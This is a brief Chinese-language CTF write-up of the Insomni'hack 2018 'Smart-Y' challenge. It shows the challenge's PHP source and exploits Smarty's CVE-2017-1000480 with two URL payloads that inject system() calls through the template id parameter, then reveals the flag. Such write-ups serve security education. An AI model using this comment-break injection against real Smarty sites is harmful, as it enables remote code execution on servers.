内容简介:Insomni'hack teaser 2018-Smart-Y-writeup
Insomni’hack teaser 2018-Smart-Y-writeup
CVE-2017-1000480-Smarty-3-1-32-php代码执行-漏洞
题目
Last year, a nerd destroyed the system of Robot City by using some evident flaws. It seems that the system has changed and is not as evident to break now. http://smart-y.teaser.insomnihack.ch
Solution
题目给了 源码 :
<?php if(isset($_GET['hl'])){ highlight_file(__FILE__); exit; } include_once('./smarty/libs/Smarty.class.php'); define('SMARTY_COMPILE_DIR','/tmp/templates_c'); define('SMARTY_CACHE_DIR','/tmp/cache'); class newsextends Smarty_Resource_Custom { protected function fetch($name,&$source,&$mtime) { $template = "The news system is in maintenance. Please wait a year. <a href='/console.php?hl'>".htmlspecialchars("<<<DEBUG>>>")."</a>"; $source = $template; $mtime = time(); } } // Smarty configuration $smarty = new Smarty(); $my_security_policy = new Smarty_Security($smarty); $my_security_policy->php_functions = null; $my_security_policy->php_handling = Smarty::PHP_REMOVE; $my_security_policy->modifiers = array(); $smarty->enableSecurity($my_security_policy); $smarty->setCacheDir(SMARTY_CACHE_DIR); $smarty->setCompileDir(SMARTY_COMPILE_DIR); $smarty->registerResource('news',new news); $smarty->display('news:'.(isset($_GET['id']) ? $_GET['id'] : ''));
由源码的简洁性,推测是smarty框架的漏洞。通过扫目录可以发现存在smarty目录
查看change-log,得出smarty版本为3.1.31
利用 CVE-2017-1000480-Smarty-3-1-32-php代码执行-漏洞
。
http://smart-y.teaser.insomnihack.ch/console.php?id=*/system('ls /');//
http://smart-y.teaser.insomnihack.ch/console.php?id=*/system('cat /flag');//
flag:
INS{why_being_so_smart-y}
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